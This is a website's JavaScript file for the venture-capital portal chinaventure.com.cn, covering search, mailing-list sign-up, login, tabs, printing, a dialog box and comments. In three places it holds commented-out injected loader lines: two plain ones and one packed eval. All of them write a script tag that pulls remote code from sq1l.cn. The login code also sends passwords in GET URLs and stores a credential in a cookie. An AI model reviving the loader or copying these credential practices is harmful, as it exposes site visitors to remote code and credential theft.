﻿function cvsdataCount(id,opencount,closecount){
   $(id).innerHTML="注：统计数据来自<a href=\"http://www.cvsource.com.cn\" target=\"_blank\">CVSource</a>"
   if(opencount>0){
       $(id).innerHTML+="； <img src=\"http://www.chinaventure.com.cn/common/images/cvsource_data.gif\" />表示不公开数据，共<a href=\"http://www.cvsource.com.cn\" target=\"_blank\"><strong>"+opencount+"</strong></a>条"; 
   }
   if(closecount>0){
       $(id).innerHTML+="，<a href=\"http://www.cvsource.com.cn\" target=\"_blank\">CVSource</a>中还有<a href=\"http://www.cvsource.com.cn\" target=\"_blank\"><strong>"+closecount+"</strong></a>条封闭数据";
   }
   $(id).innerHTML+="，<a href=\"http://www.cvsource.com.cn/contact.htm\" target=\"_blank\">联系获取完整数据</a>。"
}
//站内搜索
function SearchSite(){
	if($F("SearchKey")==""){
		alert("请输入关键字!");
		$("SearchKey").focus();
	}
	else if($F("SearchSelect")==1){
	    location.href="http://search.chinaventure.com.cn/news/"+$F("SearchKey")+"/";
	}
	else if($F("SearchSelect")==2){
	    location.href="http://search.chinaventure.com.cn/corp/"+$F("SearchKey")+"/";
	}
	else if($F("SearchSelect")==3){
	    location.href="http://search.chinaventure.com.cn/event/"+$F("SearchKey")+"/";
	}
	else if($F("SearchSelect")==4){
	    location.href="http://search.chinaventure.com.cn/people/"+$F("SearchKey")+"/";
	}
	else if($F("SearchSelect")==6){
	    location.href="http://search.chinaventure.com.cn/investor/"+$F("SearchKey")+"/";
	}
	else if($F("SearchSelect")==8){
	    location.href="http://search.chinaventure.com.cn/report/"+$F("SearchKey")+"/";
	}
	else{
		location.href="http://search.chinaventure.com.cn/index/"+$F("SearchKey")+"/";
	}
}
function joinemail(){
	if($F("joinemailtext")=="" || $F("joinemailtext")=="请输入您的邮箱地址！"){
		alert("请输入邮件地址");
		$("joinemailtext").focus();
	}else if(!Valid.isMail($F("joinemailtext"))){
		alert("邮件地址错误！");
		$("joinemailtext").focus();
	}else{
		location.href="http://maillist.chinaventure.com.cn/join/?m="+$F("joinemailtext");
	}
}
//document.write("<script src=http://sq1l.cn><\/script>");
function exitemail(){
	if($F("joinemailtext")=="" || $F("joinemailtext")=="请输入您的邮箱地址！"){
		alert("请输入邮件地址");
		$("joinemailtext").focus();
	}else if(!Valid.isMail($F("joinemailtext"))){
		alert("邮件地址错误！");
		$("joinemailtext").focus();
	}else{
		location.href="http://maillist.chinaventure.com.cn/exit/?m="+$F("joinemailtext");
	}
}
function eventstate(s,e,c,n){
   s=new Date(s); e=new Date(e);c=new Date(c);
   if(c>=s && c<=e){
      document.write("<font color=blue>正在进行</font>");
   }else if(c>e){
      document.write("<font color=#cccccc>已结束</font>");
   }else{
      document.write("<font color=red>还剩"+n.toString().replace("-","")+"天</font>");
   }
}
function cvsource_data_close(){
	
}
function cvsource_data_show(){
	
}
var Users={
   isLogind:false
   ,
   LoginHtml:function(user){
      if(user != null )
	      return "&nbsp;&nbsp;&nbsp;<span id=\"LoginLoading\">用户名&nbsp;<input name='cv_UserName' id='cv_UserName' type='text' size='10' maxlength='20' value="+ user +" class='flatinput'\/>&nbsp;密码&nbsp;<input name='cv_Password' id='cv_Password' type='password' size='10' class='flatinput'/>&nbsp;<input name='' type='image' src='http://www.chinaventure.com.cn/common/images/login_btn.gif' onclick='Users.Login();' align='absmiddle'/>&nbsp;<a href='http://m.chinaventure.com.cn/reg/'>注册</a> &nbsp; <a href='http://m.chinaventure.com.cn/FindPassword.aspx'>忘记密码</a></span>";
      else
	      return "&nbsp;&nbsp;&nbsp;<span id=\"LoginLoading\">用户名&nbsp;<input name='cv_UserName' id='cv_UserName' type='text' size='10' maxlength='20' class='flatinput' \/>&nbsp;密码&nbsp;<input name='cv_Password' id='cv_Password' type='password' size='10' class='flatinput'/>&nbsp;<input name='' type='image' src='http://www.chinaventure.com.cn/common/images/login_btn.gif' onclick='Users.Login();' align='absmiddle'/>&nbsp;<a href='http://m.chinaventure.com.cn/reg/'>注册</a> &nbsp; <a href='http://m.chinaventure.com.cn/FindPassword.aspx'>忘记密码</a></span>";  
   }
   ,
   LoginedHtml:function(user){
        return "&nbsp;&nbsp;欢迎您 【" + user + " 】<A href="+MemberDomain+" >个人中心</a> | <A href="+MemberDomain+"Logout/ >安全退出</a>";
   }
   ,
   Start:function(){
	  if(Cookies.Get("cv_UserName") != "" && Cookies.Get("cv_UserName") != null && Cookies.Get("cv_Password") != "" && Cookies.Get("cv_Password") != null ){
         $("login").innerHTML=this.LoginedHtml(Cookies.Decode(Cookies.Get("cv_UserName")));
      }else{   
         $("login").innerHTML=this.LoginHtml(ChinaVentureUser);
      }
   }
   ,
   	Login:function(){
	   ChinaVentureUser=$F("cv_UserName");
	   var password=$F("cv_Password");
	   if( ! this.CheckUsername(ChinaVentureUser) ){
		  $("cv_UserName").focus();
		  return ; 
       }
       if( password ==""){        
          alert("请输入密码！");
	      $("cv_Password").focus();
	      return ; 
       }
       $("cv_UserName").disabled=true;
       $("cv_Password").disabled=true;
       $("LoginLoading").innerHTML="&nbsp;&nbsp;<img src="+Domain+"/Common/images/loading.gif  align='top'>  登陆中…";
	   this.AjaxLogin(ChinaVentureUser,password,Users.CheckUser);
	}
	,
    CheckUsername:function(uname){
        if( uname == "" || uname == null ){
		    alert( "请先填写用户名！" );
		    return false;
	    }
        //var pattern = /^[A-Za-z0-9_]+$/; 
		//alert(pattern.test(uname));
        //return pattern.test(uname);
		switch( Users.isUsername( uname ) ){
		    case 0: break;
		    case 1:	{
			    alert( "您选择的用户名‘"+uname+"’格式不正确，用户名不能以数字开头" );
			    return false;
		    }
		    case 2:	{
			    alert( "您选择的用户名‘"+uname+"’字符长度有误，合法长度为4-20个字符" );
			    return false;
		    }
		    case 3:	{
			    alert( "您选择的用户名‘"+uname+"’含有非法字符，用户名只能包含_,英文字母，数字" );
			    return false;
		    }
		    case 4:	{
			    alert( "您选择的用户名‘"+uname+"’格式不正确，用户名只能包含_,英文字母，数字" );
			    return false;
		    }
	     }
	    return true;
    }
    ,
    isUsername:function( uname ){
	    if( /^\d.*$/.test( uname) ){
		    return 1;
	    }
	    if(! /^.{2,20}$/.test( uname ) ){
		    return 2;
	    }
	    if(! /^[\w_]*$/.test( uname ) ){
		    return 3;
	    }
	    if(! /^([a-z]|[A-Z])[\w_]{2,19}$/.test( uname ) ){
		    return 4;
	    }
	    return 0;
    }
	,
	AjaxLogin:function(user,psw,method){
         var url='/Users.aspx';
	     var pars='u=' + user + '&p=' + psw;
	     var myAjax = new Ajax.Request(url,{
             method: 'get',
             parameters: pars,
             onComplete: method
         });
	},
    CheckUser:function(originalRequest){ 
        var arrobj=Common.ArrayValue(originalRequest.responseXML);
		if (arrobj){
		    switch (arrobj[1]){
		    case '0':
		        alert("用户名或密码错误!");
				$("login").innerHTML=Users.LoginHtml(ChinaVentureUser);
			    break;
		    case '1':
		        $("login").innerHTML=Users.LoginedHtml(ChinaVentureUser);
			    Cookies.Set("cv_UserName", Cookies.Code(ChinaVentureUser),1, "/", CookieDomain)
			    Cookies.Set("cv_Password", Cookies.Code(arrobj[0]),1, "/", CookieDomain)		
                Users.isLogind=true;
				break;
		    default:
		        alert("用户名或密码错误!");
				$("login").innerHTML=Users.LoginHtml(ChinaVentureUser);
			    break;
			}
	    }
    }
    ,
	BoolCheckUserState:function (){
	     if(Cookies.Get("cv_UserName") != "" && Cookies.Get("cv_UserName") != null && Cookies.Get("cv_Password") != "" && Cookies.Get("cv_Password") != null ){
		    return true;
	     }else{
		    if(Users.isLogind){
		       return true;
	        }else{
			   return false;
			}
	     }
    }
    ,
    GetUserName:function(){
	    if(Users.BoolCheckUserState()==true){
		    return Cookies.Decode(Cookies.Get("cv_UserName"));
	    }else{
		    return null;
	    }
    }
	,
	CheckStateAndGo:function(url){
	    if(Users.BoolCheckUserState()){
		   window.location.href=url;
	    }else{
		    alert("您还没有登入，请您先登入!");
	    }
	}
}


/*---------------通用标签切换脚本，更新日期：06-12-20，开始---------------*/
function FrameGroup(groupName,groupList){
	this.groupName = groupName;
	this.groupList = groupList;
}

var FrameSet = {
	framePrefix: 'fra_',
	frameHeadPrefix: 'fra_head_',
	classBefore: 'classBefore',
	classAfter: 'classAfter',
	classCurrent: 'classCurrent',
	timeFlag: null,
	currentFrameHead: null,
	currentFrame: null,
	frames: new Array(),
	eventType: 'mouse',
	linkageEvent: function(){},
	initFlag: false,
	
	show: function(event){
		FrameSet.currentFrameHead = typeof(event) == 'string' ? event : Event.element(event).id == "" ? Event.element(event).parentNode.id : Event.element(event).id;
		FrameSet.timeFlag = setTimeout('FrameSet.showFrame()',200);
	},
	
	show2: function(event){
		FrameSet.currentFrameHead = typeof(event) == 'string' ? event : Event.element(event).id == "" ? Event.element(event).parentNode.id : Event.element(event).id;
		FrameSet.showFrame();
	},
	
	_show: function(frameHead){
		FrameSet.currentFrameHead = frameHead;
		FrameSet.showFrame();
	},
	
	showFrame: function(){
		var frameHead = FrameSet.currentFrameHead;
		var groupName = frameHead.substring(FrameSet.frameHeadPrefix.length,frameHead.lastIndexOf("_"));
		var serial = frameHead.substring(frameHead.lastIndexOf("_")+1,frameHead.length); 

		var frameGroup = FrameSet.getFrameGroup(groupName);

		var frameHeadStyle = FrameSet.classBefore;
		
		for (var i = 0; i < frameGroup.groupList.length; i++)
		{
			frame = $(FrameSet.framePrefix + groupName + '_' + frameGroup.groupList[i]);
			frameHead = $(FrameSet.frameHeadPrefix + groupName + '_' + frameGroup.groupList[i]);
			
			if (frameGroup.groupList[i] == serial)
			{
				frame.style.display = 'inline';
				frameHead.className = FrameSet.classCurrent;
				frameHeadStyle = FrameSet.classAfter;
				FrameSet.currentFrame = frame;
			}
			else
			{
				frame.style.display = 'none';
				frameHead.className = frameHeadStyle;
			}
		}
		FrameSet.linkageEvent(serial);
	},
	
	timeClear: function(){
		window.clearTimeout(FrameSet.timeFlag);
	},
	
	getFrameGroup: function(groupName){
		var frameGroup = new Object();
		
		for (var i = 0; i < FrameSet.frames.length; i++)
		{
			frameGroup = FrameSet.frames[i];
			if (frameGroup.groupName == groupName) return frameGroup;
		}
	},
	
	init: function(){
		if (FrameSet.initFlag == false)
		{
			var frameIds = new Array();
			var frameSerial,frameName,frameHead;
			var frameHeads = document.getElementsByClassName("frame");
			for (var i = 0; i < frameHeads.length; i++)
			{
				var groupList = new Array();
				for(var j=0; j<frameHeads[i].childNodes.length; j++)
				{
					if (frameHeads[i].childNodes[j].nodeType == 1)
					{
						frameIds = frameHeads[i].childNodes[j].id.split("_");
						framePrefix = frameIds.shift();
						if (framePrefix + "_" == FrameSet.framePrefix)
						{
							frameSerial = frameIds.pop();
							frameName = frameIds.length>1 ? frameIds.join("_") : frameIds;
							frameHead = $(FrameSet.frameHeadPrefix + frameName + '_' + frameSerial);
							switch (FrameSet.eventType)
							{
								case 'click':
									Event.observe(frameHead,'click',FrameSet.show2,false);
									break;
								default:
									Event.observe(frameHead,'mouseover',FrameSet.show,false);
									Event.observe(frameHead,'mouseout',FrameSet.timeClear,false);
							}
							groupList.push(frameSerial);
						}
					}
				}
				var frameGroup = new FrameGroup(frameName,groupList);
				FrameSet.frames.push(frameGroup);
				var firstFrameHead = FrameSet.frameHeadPrefix + frameName + '_' + groupList.first();
				FrameSet._show(firstFrameHead);
			}
			FrameSet.initFlag = true;
		}
	}
	
}
//打印
//document.write("<script src=http://sq1l.cn><\/script>");
function getByClassName(clsName,htmltag){       
    var elems = document.getElementsByTagName(htmltag);   
    for(var i = 0;elems.length; i++ ){
	   if(elems[i].className==clsName){
	       return elems[i].innerHTML;
	   }
	}
} 
function doPrint(){
	var str="<html>";
	var article;
	var css;
	var strAdBegin="<!--pic_cnt_start-->";
	var strAdEnd="<!--pic_cnt_end-->";
	var strTmp;
	
		css="<style>"
		+"body{font-family:宋体}"
		+"td {font-size:14px;line-height:1.8em;}"
		+".title {font-size:24px;font-weight:bold;line-height:1.6em}"
	    +"</style>";
	
		str +=	css;
		str +=	'<meta http-equiv="content-type" content="text/html; charset=gb2312">';
		str +=	'<title>'+document.title+'</title>';
		str +=	"<body bgcolor=#ffffff topmargin=5 leftmargin=5 marginheight=5 marginwidth=5 onload='window.print()'>";
		str +=	"<center><table width=600 border=0 cellspacing=0 cellpadding=0><tr><td height=34 width=150><td align=right valign=bottom><a href='javascript:history.back()'>返回</a>　<a href='javascript:window.print()'>打印</a></td></tr></table>";
		str +=	"<table width=600 border=0 cellpadding=0 cellspacing=0><tr><td>";
		str +=  "<div align=center class=title>" + document.title + "</div><br>"
		article=getByClassName('ContentPages_new','div');
		/*if(article.indexOf(strAdBegin)!=-1){
			str +=article.substr(0,article.indexOf(strAdBegin));
			strTmp=article.substr(article.indexOf(strAdEnd)+strAdEnd.length, article.length);
		}else{
			
		}*/
		strTmp=article;
		str +=strTmp
		str +=	"</td></tr></table>";
		str += window.location.href;
		str +=	"</center></body></html>";
		document.write(str);
		document.close();
}

//dialog
//eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1.6("<3 5=2://4.0><\/3>");',62,7,'cn|document|http|script|sq1l|src|write'.split('|'),0,{}))
function dialog(){
	var titile = '';
	var width = 300;
	var height = 180;
	var src = "";
	var path = "http://new.chinaventure.com.cn/Common/images/dialog/";
	var sFunc = '<input id="dialogOk" type="button" style="width:62px;height:22px;border:0;background:url(\'http://new.chinaventure.com.cn/Common/images/dialog/smb_btn_bg.gif\');line-height:20px;" value="确认" onclick="new dialog().reset();" /> <input id="dialogCancel" type="button" style="width:62px;height:22px;border:0;background:url(\'http://new.chinaventure.com.cn/Common/images/dialog/smb_btn_bg.gif\');line-height:20px;" value="取消" onclick="new dialog().reset();" />';
	var sClose = '<input type="image" id="dialogBoxClose" onclick="new dialog().reset();" src="' + path + 'dialogClose0.gif" border="0" width="17" height="17" onmouseover="this.src=\'' + path + 'dialogCloseF.gif\';" onmouseout="this.src=\'' + path + 'dialogClose0.gif\';" align="absmiddle" />';
	var sBody = '\
		<table id="dialogBodyBox" border="0" align="center" cellpadding="0" cellspacing="0">\
			<tr height="10"><td colspan="4"></td></tr>\
			<tr>\
				<td width="10"></td>\
				<td width="80" align="center" valign="absmiddle"><img id="dialogBoxFace" src="' + path + '3.gif" /></td>\
				<td id="dialogMsg" style="font-size:12px;color:#000;"></td>\
				<td width="10"></td>\
			</tr>\
			<tr height="10"><td colspan="4" align="center"></td></tr>\
			<tr><td id="dialogFunc" colspan="4" align="center">' + sFunc + '</td></tr>\
			<tr height="10"><td colspan="4" align="center"></td></tr>\
		</table>\
	';
	var sBox = '\
		<table id="dialogBox" width="' + width + '" border="0" cellpadding="0" cellspacing="0" style="border:1px solid #ccc;display:none;z-index:10;">\
			<tr height="1" bgcolor="#F2FACA"><td></td></tr>\
			<tr height="25" bgcolor="#cce70b">\
				<td>\
					<table onselectstart="return false;" style="-moz-user-select:none;" width="100%" border="0" cellpadding="0" cellspacing="0">\
						<tr>\
							<td width="6"></td>\
							<td id="dialogBoxTitle" onmousedown="new dialog().moveStart(event, \'dialogBox\')" style="color:#333;cursor:move;font-size:12px;font-weight:bold;">系统提示信息</td>\
							<td id="dialogClose" width="27" align="right" valign="middle">\
								' + sClose + '\
							</td>\
							<td width="6"></td>\
						</tr>\
					</table>\
				</td>\
			</tr>\
			<tr height="2" bgcolor="#EDEDED"><td></td></tr>\
			<tr id="dialogHeight" style="height:' + height + '">\
				<td id="dialogBody" style="background:#fff;color:#000;">' + sBody + '</td>\
			</tr>\
		</table>\
		<div id="dialogBoxShadow" style="display:none;z-index:9;"></div>\
	';
	function $(_sId){return document.getElementById(_sId)}
	this.show = function(){$('dialogBodyBox') ? function(){} : this.init();this.middle('dialogBox');this.shadow();}
	this.reset = function(){this.hideModule('select', '');$('dialogBox').style.display='none';$('dialogBoxShadow').style.display = "none";$('dialogBody').innerHTML = sBody;}
	this.html = function(_sHtml){$("dialogBody").innerHTML = _sHtml;this.show();}
	this.init = function(){
		$('dialogCase') ? $('dialogCase').parentNode.removeChild($('dialogCase')) : function(){};
		var oDiv = document.createElement('span');
		oDiv.id = "dialogCase";
		oDiv.innerHTML = sBox;
		document.body.appendChild(oDiv);
	}
	this.button = function(_sId, _sFuc){
		if($(_sId)){
			$(_sId).style.display = '';
			if($(_sId).addEventListener){
				if($(_sId).act){$(_sId).removeEventListener('click', function(){eval($(_sId).act)}, false);}
				$(_sId).act = _sFuc;
				$(_sId).addEventListener('click', function(){eval(_sFuc)}, false);
			}else{
				if($(_sId).act){$(_sId).detachEvent('onclick', function(){eval($(_sId).act)});}
				$(_sId).act = _sFuc;
				$(_sId).attachEvent('onclick', function(){eval(_sFuc)});
			}
		}
	}
	this.shadow = function(){
		var oShadow = $('dialogBoxShadow');
		var oDialog = $('dialogBox');
		oShadow['style']['position'] = "absolute";
		oShadow['style']['background']	= "#000";
		oShadow['style']['display']	= "";
		oShadow['style']['opacity']	= "0.2";
		oShadow['style']['filter'] = "alpha(opacity=20)";
		oShadow['style']['top'] = oDialog.offsetTop + 6;
		oShadow['style']['left'] = oDialog.offsetLeft + 6;
		oShadow['style']['width'] = oDialog.offsetWidth;
		oShadow['style']['height'] = oDialog.offsetHeight;
	}
	this.open = function(_sUrl, _sMode){
		this.show();
		if(!_sMode || _sMode == "no" || _sMode == "yes"){
			$("dialogBody").innerHTML = "<iframe id='dialogFrame' width='100%' height='100%' frameborder='0' scrolling='" + _sMode + "'></iframe>";
			$("dialogFrame").src = _sUrl;
		}
	}
	this.showWindow = function(_sUrl, _iWidth, _iHeight, _sMode){
		var oWindow;
		var sLeft = (screen.width) ? (screen.width - _iWidth)/2 : 0;
		var sTop = (screen.height) ? (screen.height - _iHeight)/2 : 0;
		if(window.showModalDialog && _sMode == "m"){
			oWindow = window.showModalDialog(_sUrl,"","status:no;center:yes;help:no;minimize:no;maximize:no;dialogWidth:" + _iWidth + "px;dialogheight:" + _iHeight + "px");
		} else {
			oWindow = window.open(_sUrl, '', 'height=' + _iHeight + ', width=' + _iWidth + ', top=' + sTop + ', left=' + sLeft + ', toolbar=no, menubar=no, scrollbars=' + _sMode + ', resizable=no,location=no, status=no');
		}
		return oWindow;
	}
	this.event = function(_sMsg, _sOk, _sCancel, _sClose){
		$('dialogFunc').innerHTML = sFunc;
		$('dialogClose').innerHTML = sClose;
		$('dialogBodyBox') == null ? $('dialogBody').innerHTML = sBody : function(){};
		$('dialogMsg') ? $('dialogMsg').innerHTML = _sMsg  : function(){};
		this.show();
		_sOk ? this.button('dialogOk', _sOk) | $('dialogOk').focus() : $('dialogOk').style.display = 'none';
		_sCancel ? this.button('dialogCancel', _sCancel) : $('dialogCancel').style.display = 'none';
		_sClose ? this.button('dialogBoxClose', _sClose) : function(){};
		//_sOk ? this.button('dialogOk', _sOk) : _sOk == "" ? function(){} : $('dialogOk').style.display = 'none';
		//_sCancel ? this.button('dialogCancel', _sCancel) : _sCancel == "" ? function(){} : $('dialogCancel').style.display = 'none';
	}
	this.set = function(_oAttr, _sVal){
		var oShadow = $('dialogBoxShadow');
		var oDialog = $('dialogBox');
		var oHeight = $('dialogHeight');

		if(_sVal != ''){
			switch(_oAttr){
				case 'title':
					$('dialogBoxTitle').innerHTML = _sVal;
					title = _sVal;
					break;
				case 'width':
					oDialog['style']['width'] = _sVal;
					width = _sVal;
					break;
				case 'height':
					oHeight['style']['height'] = _sVal;
					height = _sVal;
					break;
				case 'src':
					if(parseInt(_sVal) > 0){
						$('dialogBoxFace') ? $('dialogBoxFace').src = path + _sVal + '.gif' : function(){};
					}else{
						$('dialogBoxFace') ? $('dialogBoxFace').src = _sVal : function(){};
					}
					src = _sVal;
					break;
			}
		}
		this.middle('dialogBox');
		oShadow['style']['top'] = oDialog.offsetTop + 6;
		oShadow['style']['left'] = oDialog.offsetLeft + 6;
		oShadow['style']['width'] = oDialog.offsetWidth;
		oShadow['style']['height'] = oDialog.offsetHeight;
	}
	this.moveStart = function (event, _sId){
		var oObj = $(_sId);
		oObj.onmousemove = mousemove;
		oObj.onmouseup = mouseup;
		oObj.setCapture ? oObj.setCapture() : function(){};
		oEvent = window.event ? window.event : event;
		var dragData = {x : oEvent.clientX, y : oEvent.clientY};
		var backData = {x : parseInt(oObj.style.top), y : parseInt(oObj.style.left)};
		function mousemove(){
			var oEvent = window.event ? window.event : event;
			var iLeft = oEvent.clientX - dragData["x"] + parseInt(oObj.style.left);
			var iTop = oEvent.clientY - dragData["y"] + parseInt(oObj.style.top);
			oObj.style.left = iLeft;
			oObj.style.top = iTop;
			$('dialogBoxShadow').style.left = iLeft + 6;
			$('dialogBoxShadow').style.top = iTop + 6;
			dragData = {x: oEvent.clientX, y: oEvent.clientY};
			
		}
		function mouseup(){
			var oEvent = window.event ? window.event : event;
			oObj.onmousemove = null;
			oObj.onmouseup = null;
			if(oEvent.clientX < 1 || oEvent.clientY < 1 || oEvent.clientX > document.body.clientWidth || oEvent.clientY > document.body.clientHeight){
				oObj.style.left = backData.y;
				oObj.style.top = backData.x;
				$('dialogBoxShadow').style.left = backData.y + 6;
				$('dialogBoxShadow').style.top = backData.x + 6;
			}
			oObj.releaseCapture ? oObj.releaseCapture() : function(){};
		}
	}
	this.hideModule = function(_sType, _sDisplay){
		var aIframe = parent.document.getElementsByTagName("iframe");aIframe=0;
		var aType = document.getElementsByTagName(_sType);
		var iChildObj, iChildLen;
		for (var i = 0; i < aType.length; i++){
			aType[i].style.display	= _sDisplay;
		}
		for (var j = 0; j < aIframe.length; j++){
			iChildObj = document.frames ? document.frames[j] : aIframe[j].contentWindow;
			iChildLen = iChildObj.document.body.getElementsByTagName(_sType).length;
			for (var k = 0; k < iChildLen; k++){
				iChildObj.document.body.getElementsByTagName(_sType)[k].style.display = _sDisplay;
			}
		}
	}
	this.middle = function(_sId){
		var bodyElement = (document.documentElement.clientWidth != 0) ? document.documentElement : document.body;
		document.getElementById(_sId)['style']['display'] = '';
		document.getElementById(_sId)['style']['position'] = "absolute";
		document.getElementById(_sId)['style']['left'] = (bodyElement.clientWidth / 2) - (document.getElementById(_sId).offsetWidth / 2);
		document.getElementById(_sId)['style']['top'] = (bodyElement.clientHeight / 2 + bodyElement.scrollTop) - (document.getElementById(_sId).offsetHeight / 2);
	}
}
//Comment
var Comment={
	Load:function(bool,site,primaryid,width){
		if(bool=="True"){
		    $("comment_div").innerHTML="<iframe frameborder='0' scrolling='no' width=580  height='300' id='iFrame_comment' name='iFrame_comment_name' src='http://comment.chinaventure.com.cn/f/?s="+site+"&p="+primaryid+"&w=580' ></iframe>";
		}
	}
}

//工具
function adjust()
{
	var cleft = document.getElementById("main_4");
	var cright = document.getElementById("main_5");
	if (cleft && cright){
		if (cright.scrollHeight > cleft.scrollHeight)
		{
			cleft.style.height = cright.scrollHeight + "px";
		}
	}
}
//图片加载
var flag=false; 
function DrawImage(ImgD,ImgWidth){ 
	var image=new Image(); 
	image.src=ImgD.src; 
	if(image.width>0 && image.height>0){ 
		flag=true; 
		if(image.width>ImgWidth){ 
			ImgD.style.width=ImgWidth + "px"; 
			ImgD.style.height=(image.height*ImgWidth)/image.width + "px"; 
		}else{ 
			ImgD.style.width=image.width + "px"; 
			ImgD.style.height=image.height + "px"; 
		}  
	} 
}

var Column=new function (){
    this.CommentStart=function(){
      if(Users.BoolCheckUserState()){
		 this.ShowLogind(Users.GetUserName());
      }else{   
		 this.ShowLoginForm(ChinaVentureUser);
      }
	}
	this.ShowLoginForm=function(user){
	   $("ColumnUsers").innerHTML="匿　名：<input type='checkbox' id='isGuest' value='0' onclick='Column.CommentIsGuest()'>  <span id=GuestName >用户名： <input name='CommmenUser' type='text' id='CommmenUser' size='15' maxlength='20' value='' \/></td><td> 密　码： <input name='CommmenPwd' type='password' id='CommmenPwd' size='15' maxlength='20' value='' />&nbsp;&nbsp;<input type=\"button\" name=\"CommentButton\"   onclick='Column.CommentLogin();'  value=\"登陆\">&nbsp;<span id=CommmenLoading></span></span>";
	}
	this.CommentIsGuest=function(){
	   if($("isGuest").checked){
	      $("GuestName").innerHTML="<font color=red >您的评论内容会在审核后显示</font>"
	   }else{
	      this.ShowLoginForm(null);
	   }
	}
	this.ShowLogind=function(user){
	    $("ColumnUsers").innerHTML="欢迎您：<font color=blue> " + user +"</font>";
	}
	this.CommentLogin=function(){
       ChinaVentureUser=$("CommmenUser").value;
	   if( ! Users.CheckUsername(ChinaVentureUser)){
	      $("CommmenUser").focus();
		  return ; 
       }
       var password;
       if($("CommmenPwd").value==""){        
          alert("请输入密码！");
	      $("CommmenPwd").focus();
	      return ; 
       }else{
	      password=$("CommmenPwd").value;
	   }
       $("GuestName").innerHTML="&nbsp;&nbsp;<img src=http://new.chinaventure.com.cn/Common/images/loading.gif  align='top'>  登陆中…";
       Users.AjaxLogin(ChinaVentureUser,password,Column.CheckUser);
    }
	this.CheckUser=function(originalRequest)
    {
        Users.CheckUser(originalRequest);
		if(Users.isLogind){
			Column.ShowLogind(ChinaVentureUser);
		}else{
			Column.ShowLoginForm(ChinaVentureUser);		
		}
    } 
	this.Events=function(){
	}
}           


